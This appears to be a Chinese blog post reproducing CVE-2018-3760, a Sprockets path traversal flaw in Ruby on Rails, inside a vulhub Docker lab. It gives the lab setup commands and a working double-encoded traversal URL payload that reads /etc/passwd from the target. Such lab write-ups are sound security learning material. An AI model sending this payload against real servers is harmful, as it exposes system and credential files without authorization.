Ruby On Rails 路径穿越漏洞复现(CVE-2018-3760)

一、漏洞描述

Ruby On Rails是一个著名的Ruby Web开发框架,它使用链轮作为开发环境中的静态文件服务器。Sprockets是一个编译和分发静态资源文件的Ruby库。在Ruby 3.7.1和更低版本中,存在由辅助解码引起的路径遍历漏洞。攻击者可以使用%252e%252e/访问根目录并读取或执行目标服务器上的任何文件。

影响版本

4.0.0.beta7及更低版本、3.7.1及更低版本、2.12.4及更低版本。

二、漏洞环境搭建

需要准备的工具如下:

1.docker+vulhub漏洞库
2.靶机Ubuntu18.04虚拟机(其他也可以)

打开Ubuntu虚拟机,有docker环境和vulhub漏洞库的话就直接进入环境,没有的话先安装docker和下载vulhub漏洞库(网上教程很多,这里就不多介绍了)

root@admin666-virtual-machine:~/vulhub/rails/CVE-2018-3760# 

执行命令 docker-compose up -d

root@admin666-virtual-machine:~/vulhub/rails/CVE-2018-3760# docker-compose up -d

等到出现以下页面证明已经搭建完成

可以访问 http://your-ip:3000 出现如下页面证明搭建成功!

三、漏洞利用

可以先在url后输入/assets/file:%2f%2f/etc/passwd尝试读取passwd文件,发现出现如下报错页面;可以看到爆出了允许访问的路径

在允许访问的路径上继续构造如下payload,成功读取passwd文件!

/assets/file:%2f%2f/usr/src/blog/app/assets/images/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/etc/passwd

四、关闭docker环境

docker-compose down

posted @ 2021-02-23 18:03  冰淇淋干杯  阅读(979)  评论(0编辑  收藏  举报